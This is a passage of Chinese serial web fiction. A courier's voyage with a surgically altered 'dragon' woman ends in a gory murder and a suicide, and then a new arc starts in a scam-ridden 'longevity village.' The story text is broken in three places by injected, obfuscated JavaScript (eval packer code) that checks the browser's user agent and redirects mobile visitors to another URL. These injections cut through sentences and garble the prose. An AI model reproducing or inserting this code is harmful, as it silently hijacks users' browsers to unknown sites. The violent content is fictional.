说实话小象也没太理解小四为何能得出这一结论,她看着轻声念叨着些什么的教徒,看向墙上那十字架,开口道,“不过,如果她确实是头龙的话,那你就也不需要为她出现在这艘船上而辗转难眠了吧。” 小四没有回应,只是睁开眼看向小象。 “小一当然清楚她在做什么。”小象想起这人自己都会弄混的代词,笑了笑,“你也清楚,但她为此负责到神经衰弱,你把责任转移给神来保证自己的睡眠质量,在这一点上你就别说她了。” “我…”小四嘴唇张合,没能说出些什么,小象也没话想和她说了,转身离开了医务室,门口有人还在排队,她感受脚下晃动,知道室外又下雨了。她一路走到小六门口,却发现小二也在这鬼鬼祟祟地蹲着,看见她时才松口气站了起来。 “诶,我刚才…”她看上去有些不好意思。 “你也是来找小六聊聊的吗?”小象换了个话题。 “啊,对!”小二定了定表情,有些期盼地说,“她唱的那首歌我小时候听过,或许,或许她和我是从一个地方来的也说不定…” “这样啊。”小象点了点头,“你知道这门怎么开吗?” “…我之前在那边学会了撬锁。”小二豁出去了一般说,“但,但是这里有摄像头看着…” “那倒不用太在意。”小象想了想觉得小三八成也挺好奇的,“动手吧。” “好!”小二得到了支持,从口袋里摸出了发卡,将客舱的门锁打开了,但那栅栏门的锁由小一保管着,除非拿来电锯。 门内,小六一如既往地对来者毫无兴趣,将一侧脑袋贴近墙壁,却因头上那对角而无法做到紧贴,只能顺海浪一同晃着。 “你,你好!”小二抓着栏杆开口道,声音很紧张,“你是小六对吧?” 小六头都没回。 “…你,你是从出发港口那个城市来的对吧?”小二继续说道,小六微微侧过头,见此小二信心大涨,继续道,“我也是!我相信你一定是人类,即使不是也应该被尊重,而不是这样,被关在这样一个什么都没有的房间里…” 小六看向她,但依旧什么也没有说,眼神空洞无光。 “和我们聊聊怎么样?”小二鼓励道,“你觉得冷吗?想吃些什么吗?一个人待着很无聊吧,不用担心,那个人现在不在,来和我们聊聊吧!” 说着,她从口袋里摸出了一个小餐盒,里面有瓜果和面包。小六的视线在那之上一晃而过,随即停留在了小二的脸上。 “…好漂亮的人。”小二感慨道,随即更加愤怒了,“她不该被关在这的。” 小六从角落起身,走到栅栏门前又坐下了,走廊的光透了进去些许,她的姿态甚至是合乎礼仪规范,令人感到赏心悦目的。 “…你好。”小二紧张地说道,在栅栏门前蹲坐下来,将手里的盒子从缝隙中塞了进去,“来,吃点东西吧。” “你们好。”小六回应道,她即没有接过盒子也没有表达任何感情,只是用那双无神的眼睛观察着小二和小象,就像先前她看着墙面一样。 “你到底是人类,还是龙?”小象好奇道。 “…不知道。”小六回答,她头上的角晃了晃,声音依旧没有起伏。 “你总记得之前的事情吧。”小象问道,“上船之前的,或者说更久之前的事情,你有记得些什么吗?无论是关于什么的。” “…都是过去的事情了。”小六低下头说。 “那,那你之前的生活是什么样的呀?”小二比划着着问道。 “…非常无聊。”小六说,“每天都只是看着一些事情发生在自己眼前,和这里也差不多。” “…你有家人,或者其它亲近的人吗?”小二小心翼翼道,“那个人,还有小四医生都说你是龙,但你看,你能这样和我们说话聊天呢。” “我确实有家人。”小六回答。 “那你果然——” “但和我并不亲近。”小六用毫无起伏的语气说道,“你是担心我因为家人难过吗?不用担心这个,这根本无所谓。” “…哦,好吧。”小二有些失落,又说,“可,可你看着并不开心…” “…那是因为我在忍耐。”小六抬起手,扶了扶自己的角,“这个,很重,船上很晃,晃起来的时候这个也跟着晃,头很晕。” “…你果然是人类吧。”小二笃定道,“如果说你是龙的话,怎么会因为天生的身体部位感到不舒服呢?你早该习惯它了,你果然是人类吧,至少原来是人类。” “…你是船上的员工?”小六问道。 “我是!”小二疑惑,“怎么了吗?” “确认一下。”小六说着又看向小象,“你到达目的地之后会去哪?” “就,直接离开了,我定了抵达时间下午的机票。”小象说,“你是担心我们把你说的话告诉别人,尤其是小一她们?我可以保证我不会这样做。” 闻言,小六微不可见地点了点头,开口道,“我原先确实是人类,是有人割开我的头皮给头骨按上了这个。” 小二脸色变得苍白了起来,小六并没有在意,继续说道,“不过皮肉好像也被加工过了,感觉有点奇怪。如果要说的话…果然心脏和血液也是这样吧,每天,每时每刻都很吵,指甲和骨头也好硬,哪里都不舒服。脑袋每天都晕,走路很难保持平衡,心里也…” “…心里也很难过吗?”小二轻声问道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296736|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “差不多。”小六无所谓道,“这个最麻烦了。” “…我想帮帮她。”小二看向小象说道,“她完全是受害者,至少下船之后我们应该——” “不。”小六开口道,“我只是觉得无聊想和你们说话,多的事情你们别管。” “可是。”小二犹豫道,“你这样完全…这可是人体实验,只要将你的遭遇透露给外界,你就一定能——” “我无法恢复原样,而且,我签过知情书。”小六没有反应。 “但你完全没有被当成一个人看待!”小二指向小六的镣铐,“你没有自己想做的事,想要的东西,想去的地方吗?那家伙甚至不允许你和门外的人见面,你这哪里是人,对待宠物都比这好得多!” 小六没有回应。 “你没有吗?”小二执着地追问,“你想要什么呢?我想帮帮你。” “…我想要的东西你给不了我。”小六说,“不过可以的话别把这扇门关紧,掩上就好,谢谢,屋子里没有窗户,有点闷。” 二人离开了那处角落,小象看着一直低头不语的小二,开口道,“至少你现在知道她确实是人了。” “…但也无能为力。”小二面目忧愁,“知道了又怎么样呢?我什么都做不了,甚至下了船之后,她会遭受什么样的待遇我都无从得知了。” “你想做什么?”小象疑问。 “至少。”小二喃喃道,“至少,她作为人应该拥有一个人最基本的,该有的待遇。她看上去无所谓,但身处那样的环境,拥有一具那样的身体,她又如何能正确判断自己的想法呢?” 说着,她看向小象,郑重地说,“我还是想帮帮她。”说完,她抬起头,大步离开了,那一瞬间小象觉得她和那一开始登船的年轻人有些相似,也对,她们本就是一个人。 航行第五日,船只临时靠岸。小象靠在甲板一角,看见小二一个人跑下了船,正有些担心,就又看见称得上失魂落魄的小一朝她走来,靠在甲板上点起烟,靠尼古丁舒展肺部后她才喘上气,才意识到这还有个人。 “虽然我劝你去看看医生你大概是不会听的,但你看上去确实病了。”小象说。 “…你倒是…”小一笑了,看着小象的眼神有些羡慕,她又吸烟,在缭绕中开口道,“你也知道我那段时间是去干什么事儿了,如何?” “人体实验?”小象说,“与其问我这个萍水相逢的合作对象,不如问问你吧,你对小六感觉如何?” 小一沉默许久,直到火光烧到她的指头,她才如梦初醒,说道,“现在说这个有点晚了,但在真的进总公司前,我没想过自己会参与,人体实验。” 她将烟头熄灭在烟灰缸,没再点烟,而是靠在栏杆上摘下眼镜往远处看,那里是港口,视力好的人看得见那些摊贩,视力差的人只能看见五彩的篷布,如彩旗般顺海风鼓动,映着蓝天像梦里的场景。 “总公司实验室里有群疯子,那些设备只有她们用得上。”她说,“我不够格的,你看,被赶来当半个搬运工了。” “…我一开始也没想过自己真的会运送一个活生生的人。”小象说。 “…但是,对于它,你最好不要抱有太多想法。”小一说着,侧过头郑重道,“你和她聊过了?” “确实,她对自己的处境挺无所谓的,就是感觉身体不太舒服。”小象疑惑,“为什么那么说?” “因为龙是很残暴的动物,总公司派来个人做手术,让小六能承载龙的心脏和一些其它东西,现在它不过是一头小一点的,会说话的,拥有一些人类记忆的龙而已。”小一警告道,“那些镣铐是限制她行动的,每一块都是高纯度重金属,比船锚还重,但你看见了,它走路也就有点晃而已。” “…确实看不出来。”小象讶异道,“你知道她是为什么会接受手术吗?” “大概率是为了钱,或者其它什么吧,这种人很多。”小一对此无所谓,“我只知道她对自己的未来遭遇是知情的,她家里人也是,多的不清楚。” “好吧…”小象叹了口气,问道,“那你下船之后准备怎么办?你自己这幅样子你自己清楚,不如回去继续研究动物去吧。” 小一沉默不语,低下头,将眼目埋在臂弯里说,“那不可能了…人不也是动物?如果能不下船就好了…” 但她也就闷了这一瞬间,迅速抬起头搓了搓脸颊道,“你别管这么多了送货的,这句话你当没听见知道吗?” “行吧…”小象没话说。 17. 船与箱中之物-下-4 船只重新启航,当日夜里,小二悄悄找到小象。 “我下船找人问了,那种镣铐虽然有实时监控,但有钥匙就能开锁,在公共海域开锁的话信号是一时发不回总系统的。”她声音很轻,眼睛很亮。 “…你想把小六手上的镣铐取下来?”小象皱眉道。 “对,至少让她能自由一些。”小二点头,继续说,“我直说了,你能不能帮我取来钥匙?” “…她很危险,如果没有镣铐的话一瞬间就能把那门弄坏。”小象劝说道,“而且,即使你把她的镣铐取下又能怎么样呢?让她逃走?她在海上哪都去不了,下了船后港口多得是守卫。” “你是这样想的?”小二失望地退后一步,“明明你和我一起见过她,和她说话,却无法同情她,现在还觉得她危险吗?” “…我…”小象看向一旁。 “…没关系。”小二叹了口气,“你是乘客,是运输员,是无关人士,没关系,当我没来找过你吧。”说完,她就转身离开了。 她不会是要去找小一吧?小象担心这一点,若真是如此那二人就是打起来她都不意外,但眼见小二并没有在小一房门前停留而是转身直接离开,她更疑惑了。 “你知道小二去干什么了吗?”小象询问小三。 “大晚上的你问这个干什么?”小三回复得很快。 “她似乎是对小六的待遇感到不满,想着给她手上的镣铐解开。但小六的情况你也知道些,她破坏力很强。”小象解释道。 “小六?”小三疑惑,“好吧,我会帮忙看着点,小二现在确实是回房了。” 小象放下了些心,也回房休息去了。 航行第六日,小象再次去看了看小六,她依旧是一副什么都不在意的模样,坐在角落里一言不发地看着墙壁,上次小二带来的盒子依旧原封不动地被放在栅栏门后方些许的位置,想也知道食物没被动过。 “你不用吃饭的吗?”小象问道。 “那种东西吃了也没用。”小六说,“吃不饱,也尝不出味道。” “这也是因为实验?” “对。” “…那,你对小一是怎么想的?”小象问道,“你应该知道她不是给你动手术的人吧。” “她?”小六疑惑,随即浑然不在意地说,“没有想法,我不用记住她。” 无论是态度还是语言,小六都不在意小一,无论她是“龙研究者”还是“人研究者”,她都毫不在乎,甚至,她对自己是被小一关进来的这件事也不在乎。小象看着她就这样无聊着,若是没有那对角的话小六根本没有龙样。 “那假如说你被放出去了呢?”小象问道。 “去哪?”小六问。 “就,随便哪,你自由了。”小象说。 “那不就是哪都去不了?”小六笑了,并不是嘲笑,她觉得这句话好笑便笑了,“我只有角,又没有翅膀,也浮不起来。”这句话又戳中了她的笑点,她头上的角因为她的笑容起伏着。 “…也是。”小象叹了口气,没再说什么,转身离开了。今日剩余的时间里她没看见小二,虽然有些担心,但一想到明天船就靠岸了,便也不觉得会再发生什么意外。 当天夜里,客舱走廊尽头起了火,警报被拉响时小象才意识到周围的温度已经升高到她觉得不舒服,走廊内已大乱,虽比起游轮而言这船乘客不多,但人一旦乱起来人群便会变得无比庞大,她在拥挤中看见被船员拽着往外拖的小一,她嘶吼着,不被抓着下一秒就会冲进火里。 “放我过去!”小一大喊着,“我是她的负责人,出了什么事我都得看着!” “你给我老实点,没看见起火了吗?!”压着她的警员愤怒道,“你过去了也什么都做不了,除了被烧死,明白吗?” “…那我也要去!”小一咬牙,用头顶了下警卫的肚子,趁其后退挣脱了束缚,她看向火光顿了顿,倒是没直接冲进火里,而是转身往逃生通道的方向跑去了,警卫骂了两句就没再去追。 船员匆忙奔赴各处,谈话间小象听去几句,是小三发出的警报,但她并没有在监控中找出起火点或原因,火是烧进监控画面中的。 甲板上,劫后余生的乘客们几个聚集在一起,于黑夜中缩成一堆堆,小象四处张望着,看见小二正怔怔地看向火里。说实话,火势骇人但不至于将人烧死,这不是什么浇不灭的的大火,但如果一个人原地站着不动也确实很难活下去。 船上很难找出一个意外起火点,尤其是在无人探望的走廊深处,相对的,许多人都逐渐意识到,这火大概率是人为的。 “…我觉得,是小四医生放的火。”她看向小象轻声说,“之前,也是她悄悄告诉我如何躲过船上监控,告诉我监控员不在的间隙,告诉我,她可以帮我。” “…可是,为什么?”小象疑惑。 “…我不知道,但是…”小二看回火中,在几个船员的工作下火势已经得到了控制,她握紧拳头,突然就冲了进去。或许是因为她身上的员工马甲,她的行动并没有得到阻拦,只有几句“当心”被她远远地甩在了身后。 小象知道她要做什么,突然,她手里的手机振动,小三打来了电话。 “小二冲进去了!”她的声音很焦急,“她肯定是要去把那家伙放出来!你,你赶紧想办法拦着她点!” “…我?”小象不理解人选原因,“先不说我吧,小六她其实——” “她是个杀人犯。”小三的声音颤抖着,“她原先是一处港口附近地下黑拳所的举牌员,有一天她在现场被磕了药的拳手袭击,拿选手半场休息用的板凳自保,直接把那人的脑袋砸烂了。这件事被拳馆压下,被辞退之后的一年内她杀了至少七个人,无差别杀人,她作为人类的社会身份在两个月前就被判了死刑。” 随后,她深吸一口气,再次说道,“我,我本来想着她要下船了,就不把这事告诉你们免得你们害怕,但是,但是现在你赶紧去拦着小二!绝不能把那家伙放出来你知道吗?!” “…我尽量。”小象说着,转身就往通道中跑去,“你怎么不和警卫说?” “因为就是小四想把小六烧死在船上。”小三说,“她是她们的道德标准,你明白吗?” 说着,她的声音变得更焦急了些,“是船长告诉我这个的,她,我从刚才开始就没在监控里看到她们两个,她只叫我别管这件事,别出门,你,你知道她们两个去哪了吗?” “我不知道。”小象说着已经跑到了小一房间门口,门内没人但空间大乱,如果不是小一生活习惯太糟那就是被翻过,而现在,她看向基本被控制住了的火势,摆脱身后拦着她的船员继续往里跑。 温度越来越高,脚下地毯越来越拖泥带水,小象抵达走廊深处时那栅栏门已经被扭曲着豁开了一个洞,周围船员议论纷纷,但都没受伤。地上有两只银色手环陷进地毯中,那一旁是跪坐在地的小二。 “…我…”她看见小象的腿,抬头看向她,笑着说道,“我做到了——” “她去哪了?”小象打断,急切问道。 “…那里。”小二指向逃生通道门,问道,“她说想去走走。” “她最好真的只是想走走。”小象没说什么,朝着有明显烧焦痕迹的逃生通道内跑去,火显然就是从这里烧起来的,地上的一大块黑痕从水泥地爬向小六的门口,汽油味和其中杀意一样重。地板上有四对脚印,其中两对更新,一对更轻,一对在楼梯口戛然而止—— ——小象看见了在楼梯底端头破血流昏倒在地的小五,血迹在楼梯上的每一处直角都留下了指引记号,她就是那半途中改变行进策略脚印的主人。 “小五滚下了逃生通道楼梯,不知道什么原因。”小象一边和小三通话一边往下跑,“你赶紧过来,这里没有监控吗?!” “那里根本不对外开放——”小三呼吸一顿,小象听见椅子拖行和谁站起来的声音,以及脚步声,但同样戛然而止。 “你愣着干嘛?”小象听也知道这人又停门口了,她俯下身确认,小五的胸口勉强还有起伏,她身侧还有一对脚印,有谁在这具生死不明的人体前停留了很久,久到她血液流出沾了鞋底,那脚印就带着血继续一路向下,往货舱的方向去了。 身后,有跟着跑进应急通道的船员,看见那血迹便顿在了原处。 “我,真的该出门吗?”小三失魂落魄地说,“我说的话没人听,过去只能添乱,我在这间屋子之外一点用都没有,什么都做不到的,我——” “…你自己决定吧。”小象站了起来,“我要去找小六了,你最好祈祷她没在船上杀人。”说完,她不顾小三的回应挂断了电话,朝那更新一些的脚印主人跑去了。 小六似乎真的只是在闲逛,她脚步幅度不大,和个散步的人一样漫无目的地走了一大圈,在每个区域都只是停留了一小会,但逃生通道的门都紧紧锁着,最后她只能一路往顶层去了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296737|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而那另外一对几乎是在踩着前者脚印前进,很急,小象猜也知道这人八成是小一,并疑惑其为何会选择只身跟上,难道她是有什么对龙武器?不然为何会选择单独面对一个高危且她曾经残忍对待过的,动物。 而小六,她会杀掉小一吗?她有那个能力也有动机,但作为龙,她似乎对这一切都无所谓,但作为人,作为杀人犯—— 推开那扇门,小象气喘吁吁地来到了舰桥,这里的海风像是发了狂一般刮得人无处可躲,她眯起眼睛往外看,看见了位于栏杆边上,那在黑暗之中,无可撼动地站立在原地,仰头望向夜空的小六,她上半身微微前倾,双手扶在栏杆上,又像是担心弄坏那金属作物一般只是虚虚地握着。 今夜晴朗,那点点星空之下,小六只是怔怔地抬着头,那美丽的眼眸像是映入了星光般也一同璀璨了起来,忧郁面孔被欣然喜色覆盖,她的嘴角也带着满足的,惬意的,不比星空逊色的动人笑容。 她脚边是小一被开膛的尸体,血从她手间落下,侵染了栏杆下方的探照灯罩。 小象看着那歪斜在一旁的头颅,眼镜失踪,那双眼已经合上了。 “啊,你好。”小六转过头问候,见小象退后一步,她看向手中的血,说道,“放心,我不会杀你,你订了机票对吧?” 小象只觉得毛骨悚然,她开口,声音淹没在狂风之中,于是她只能抬高声音道,“你,你杀了她?” 废话。 “…我一直在忍耐着。”小六笑容收敛了些,令人惋惜地皱眉道,“暴力,我一直抑止着我的暴力冲动。你说得对,以前的事情我一直记着呢,包括那些忍耐的时刻,兴奋的时刻,一时兴起的时刻,我都记着。知情书里说,手术之后我可能会产生暴力冲动,那是龙的基因信息副作用。但是啊,那种为了生存而产生的,本能性的破坏欲,实在是无用,根本无法覆盖原来的那些,只是令我觉得无趣。” 说着,她又笑着看向了夜空,摊开手感慨道,“我想要的就只有这个啊,其它的什么都无所谓!一个人也好,不,一个人就好!不是人也可以!让一个存在一点点变得安静,是多——么令人心潮澎湃的事情啊!除了这个什么都没用,除了这个,什么都填不饱我!” 海风刮起她的头发缠绕在她的角上,她的笑容大而纯粹,兽性无从遮掩,小象看着她,看着小六,看着那个人类,看着她手里的血,问道,“小一有遗言吗?” “嗯?”小六疑惑地歪了歪头,“她好像说了什么吧,但是风太大我没听清。” “…你根本不在乎她。”小象意识到这一点,“那你为什么选择杀她?” 一路走来遇到的那么多人,对小六而言应该都是一样的才对,但她偏偏选择了小一,她亲口说过不需要记住的存在。 “这个啊…”小六无所谓道,“下船后,她要和我去同一个地方,也就是说我们两个是一块的。” “…确实。”小象点头。 “在那个地方,我比她有价值得多啊。”小六说,“杀了她,我依旧可以在那个地方待下去。” 小象却更疑惑了,“你有想过自己在那的处境吗?待着又能怎么样,你根本就无法适应吧,这具身体,以及那里的环境。” 闻言,小六的面色没有变化,只是抬起头摸了摸自己的角说道,“那无所谓吧,我只要有地方能去,偶尔能这样放松就好了,何必想那么多呢?” 她微微侧头看向小象,弯起眼睛笑着说,“角与指甲头发一样,是没有生命力的人体组织,作为载体的我本来不需要这个。但是,那家公司的某个掌控者似乎想要一头‘龙’作为公司的吉祥物,所以我会穿戴着它。怎么样,合适吗?” 小象哑然。 小六没再说话,继续看向夜空,不一会身后有警卫赶来,看见眼前的场景皆是一惊,小六抬起满是鲜血的双手,视线依然投向夜空,直到几个警卫试探性地接近她,把那银色手环拷回她的手上,她才低下头,露出那副对一切都毫无兴趣的忧郁面孔来。 有人上前试图搬运小一的遗体,但她的死相实在是惨烈,除去被剖开的腹部,小六硬生生敲碎了她的头骨,白黄液体与组织混着头发流出她的脑外,顺着血色,流到黑夜中去,乘着大风,落进大海中去了。 小象听见有船员议论说,有人顺着脚印在货舱角落发现了小四上吊自杀的遗体,她到头来还是被自己给杀了。 航行第七日,船只靠岸,所有乘客下船。 18. 长寿村与过去的秘密-上-1 很久很久以前,一处偏远山间存在着这样一个村落,村人随日月升落起居,靠着农耕布织以及捕猎山间走兽维生,她们喝山泉水,自给自足,过着与世无争的清闲生活。这里有着绿水青山,青石板路吊脚楼,以及十多位百多岁的长寿老人。 这是差不多六年前新闻报道的情况,现在那些老人死了几个不清楚,绿水青山还在,青石板路吊脚楼倒是没剩多少了。村落因长寿远近闻名,以此为中心,周围开发了各处景点还通了去城镇的路,几年的发展让长寿村所代表的区域扩张了不少,现在外地人远比当地人多,算下来,平均年龄遗憾骤降。 先前说过,小象工作中走海路的机会其实不多,多数情况下货物还是得靠轮子来运。就好比这次,她被委派运送一批药材前往这长寿村,并交付给当地一处旅游景区的管理人,就是靠的车。 这还是小象第一次去这样的地方,飞机落地后转大巴再转小面包车,三十多小时的路程后,她才得以带着这漂洋过海的珍贵草本脚踏实地站着。但这里距离真正的目的地,也就是长寿村的一处景区还有近两小时车程,唯一的交通工具——又是大巴,只有白日班次,现天色渐晚了,再怎么加急都得等明天了。 小象也是这样和那位一直催促她的景区管理小一解释的。 “我们这有客人急着要呢,我们派人去拿可以吗?”小一问道。 “按照规章流程必须交付给目的地的本人,二者不可更改,这也是为了货物安全考虑,请谅解。”小象熟练地应付道,“预计交付时间先前就告知过了,这已经是最快运输途径。” 普通快递只能抵达小象现在所在的城镇,更往里的区域就只能靠本地人工运输,这是最容易出差错的部分,偏僻地区监控少不说,小象的经验告诉她,该地区的本地执法组织一定相当难缠。 “…行吧行吧。”小一对这些知道的更清楚,“那就明天上午,拜托你坐最早那班车过来可以吗?我们这里开得很早,库存也…” “当然。”小象答道,电话挂断,她疲惫地松了口气,收起手机朝酒店走去。 自从巴士拐进城镇前的一个道口,广告牌与字灯就变得密集蜂拥了起来,小象在城市都没见这么多的广告挤在一起过,它们争先恐后地追求着那些求长寿者的需求,养肺茶养肝胶囊养胃灵药,看人多脆弱,身上每个部位都有病。过多的化学品凑在一起似乎是产生了某种化学效应,视觉大爆炸成功令所有看客感到了不适,至少,小象看后脑子都晕了起来。 绿水青山倒还在,小象抬头,未完全暗淡的天幕下,方正居民楼背靠尤其深沉的青山,绿水河边倒确实有几处农田。但看数量,小象怎么也不觉得这供应得上居民楼内人口数,更别提丛生的野草比菜苗都多了,河床边上歇脚的垃圾也多到足以令人担心水质。 但摆摊卖菜的老人确实很多,马路边上随处可见,没隔几米就一袭地铺一辆三轮地隔空排排坐,摊位上方,那标着“长寿菜”的绿叶白秆菜在外面的市场随处可见,没哪里特别。 “用的水和外面的不一样!”其中一个老人朝一个仔细打量着绿叶菜的年轻人介绍道,被皱纹包裹的眼里精光四射,“我用的是长寿河上游的水,上游可是在长寿村里头,你知道的吧?那里头的老人啊,随随便便就能活九十多一百岁呢!没别的原因,就是因为一直喝那里的水,吃这种水浇出来的菜!” “那您是,每天大老远跑过去挑水回来浇?”看上去二十岁出头的年轻人疑问,她头发梳得整齐,衣装同理,在夜色中看着像个赶班的。 “诶,诶,所以卖得贵点嘛。理解理解啦,和你不一样,我们老人没本事,就靠这种体力活挣点钱喽…”老人摆着手用感慨的语气说。 “…长寿河上游在本村里,根本就不让随意进出,那流量也根本不够种田的。”青年眯起眼睛说,“而您,听口音不像本地人呢…” “你这说的是什么话!”那老人怒道,“你知道我这么老了学普通话有多不容易吗?!” 周围有过路人听了老人的话便笑,便凑上来看她卖的菜,青年被人群挤到一边,那老人顺势宣扬起了自己“长寿菜”的成本有多来之不易,许是说得自己都信了,那精明的双目不自觉惆然地眯起,真是在觉得自己辛苦了。 眼见那老人真要做成生意,青年一边整理着自己的衣服一边急忙说道,“等下,诶,这个人是骗子啊,诶别挤我——” “哈哈哈!”边上有人笑出了声,那是个看上去三十多岁头戴棒球帽的闲散青年,看着像游客,本在路牙上围观老人卖菜,见此情形忍不住暴露了自己的内心想法。 小象突然觉得这人看着挺新鲜,随即才意识到自己一路走来见到的多是中老年人,比如那些围着老人的多是些与其同龄的,这青壮年人类在本地是少见品种。 “…大家,大家听我说!”听见笑声的青年脸上一红,但还是抬高了声音对现场的民众呼喊道,“我是本地民警小二,就是来纠察这里买卖行骗的!这,这个人十有八九是个骗子,大家——” “你怎么说话的这是?!”那老人站起身,声音刚出口就比小二高一大截,一下子就把她的气势压了过去,“我辛辛苦苦种菜被你打成骗子了?你一个警察不至于拿我一个老人家耍官威吧!诶呦,我卖这些菜能挣几个钱呀——” 闻言小二脸更红了,她的气势带着音量就这样一路下跌,最终喃喃着说不出个话来。围着老人的民众也在二人的争执间散去,念叨着些“惹不起”“现在的警察啊”之类的话去别的摊位看别人种的“长寿菜”去了。那老人见人群散开便也知道自己生意做不成,一边骂着一边收拾自己的东西,站起身走开,临走前还用包袱故意别了一下小二。 抿着嘴不说话的小二即使被撞了也没吭声,踉跄着退了两步,撞在了停步围观的无辜群众小象身上,小象本来就因为疲惫没怎么站稳,被她这样一撞也没接住,平衡力断线,整个人向后倒去。 “嘿!”二人都被扶住了,那之前笑出声的青年推着二人的肩膀说道,“可别让胳膊腿跟着自尊心一起受罪哦。” 青年看着不算结实,但力气倒是不小,一手一个把人给扶稳了。 “啊!抱歉,抱歉!”小二慌忙站稳后慌忙朝小象说道,“真是太不好意思了,你,你没事吧?” “…我没事。”小象也站稳了,朝那青年问道,“到你了,你没事吧?” “诶呀我当然没事。”青年笑着看向小二,“接下来轮到你了,你没事吧?” “…没事。”小二笑了,“谢谢你帮忙,不好意思啊,让你见笑了…” “那确实,这地方无趣得很,难得能看见些有意思的事情。”青年说着摊开双手说,“我叫小三,很高兴遇见你们,真的。” “我是小象,你好。”小象选择了靠近她的那只握住了。 “我是小二,你好!”小二也连忙握住了另一只,随即,她看向小象。 “…为什么会变成这样?”小象看着三个人牵在一起的手,真心疑惑道。 “诶嘿嘿…”小二也笑了。 “或许我们就是有缘吧。”小三煞有其事地点了点头,认真地摇了摇双手,随即才放开,她看向小二,感兴趣地问道,“警官你刚才说的是真的?这里的这些骗子总算是要被抓起来了?” “…那倒还没…”小二有些不好意思地说,又郑重道,“这是长期任务,有太多外地人趁着‘长寿村’的名气来这里行骗了,本地长期因此声誉受损不说,这些人带来的东西也没有安全保障,对本地的卫生健康造成了重大威胁。我作为人民的守护者会尽全力阻止这样的事情继续发生的!” 这些话被她说得掷地有声,不过内容明显是从别的地方背下来的,比如电线杆上被广告蔗区一半的公安宣传,小二若见了其处境定能感同身受。 “哦…那我代表本地村民感谢你的帮助!这样说起来,我确实是第一次在这见到你。”小三琢磨着看了看小二,又看向小象,“还有你,不过你带着箱子应该是游客吧?欢迎来玩啊,这里空气还是不错的!” 她这样点头说着,摆出了一副好客的派头,小象看她的穿着打扮实在不像一个刻板印象中的“村民”,她把自己收拾得干净利落毫无本地特色,倒是更像个城里的青年。不过这也是她第一次来这种地方,或许这里就流行这样呢? “谢谢你,热情的本地人。这里除了空气还有别的特产吗?”小象问道。 “额…”小三沉默了,面上是夹杂了心虚的微笑。 “这里该我来回答你的,不过,我也是这个季度才从别的派出所被调过来的。”小二摸了摸头发小声说,“这是我第一天独自出勤,虽然打过预防针,但是,这里的骗子确实很难缠呢…” “诶呀,辛苦了。”小三拍了拍小二的肩膀,“希望你早日被调走,以免为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296738|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时过早地消磨掉责任心与使命感。” “…真有这么糟糕吗?”小二有些退缩了。 “只能说,在这一代老东西全都死光前是不可能有所好转的啦。”小三摊手,一副早已看淡的模样。 小二当然是大受打击,“这不是至少要二十年——” “这里不是长寿村吗?说不定更久哦。”小象说。 “…我…诶…”小二叹了口气,看向小象,顿了顿问道,“说起来,你居然是游客,这个年纪的游客真是少见啊…” “是啊是啊,难道你也是那什么,遗传了爷爷奶奶辈的癌症不知情一直活得挺正常结果入职体检被查出来后当场辞职的那种吗?”小三问道,用相当认真的神情。 “…太具体了吧?真的有这样的人吗?”小二忍不住担忧道,小三笑了两声,也没回答有没有。 “感谢你的关心,不是。”小象面无表情地说,又叹了口气,“是为了工作,我算是送货的吧,客户买了东西要送进景区里面我才到这来的。” 否则自己这辈子都不会来这里吧,她心想,如果不是工作的话,很多人很多事很多地方她这辈子是不会遇到的。 “…工作?”小二露出了一个怀疑的神色,她看向小象那与寻常行李箱不太相似的铁皮箱子,沉默片刻后掏出了证件,“我要求开箱检查!” “好的。”小象毫不犹豫地点头了,并在小二露出喜悦的表情前补充道,“出于对客户与工作的职业操守,请你递交一份书面化的检查理由给我,内容请写明具体原因,具体时间,具体需要检查的部分。在我的客户与我司法律部门检查后,我会在三个工作日内给你答复,之后你可以在我,我的客户,我司对执法者专门负责人的共同监督下对箱内进行合规检查。” 见小二因可随意复制粘贴的内容而沉默,小象又好心补充道,“当然,有搜查令之类的法院指令也可以。” “哈哈哈!”小三笑着拍了拍小二的肩膀,“等你再工作几年就不会被这一串东西吓到了,多多历练吧新人!” “…诶——”小二长长地叹了口气。 “所以,别想太多了,我一个送货的也没资格看里面是什么。反正这是你们景区里要用的,你想知道自己去景区看看不就行了?”小象劝道,又好奇,“说起来你去的话要买门票吗?” “要哦。”小三点头,伸出一个巴掌得意地说,“我这个本地人进景点也要买票的,不过有五折。” “我倒是不用。”小二不好意思地说。 “…凭什么啦!”小三抗议道。 听她这样说,小象这才意识到还有这件事,她不会也要买票吧? “…我也不知道,不好意思。”小二轻声说,又问道,“是哪个景区的?” 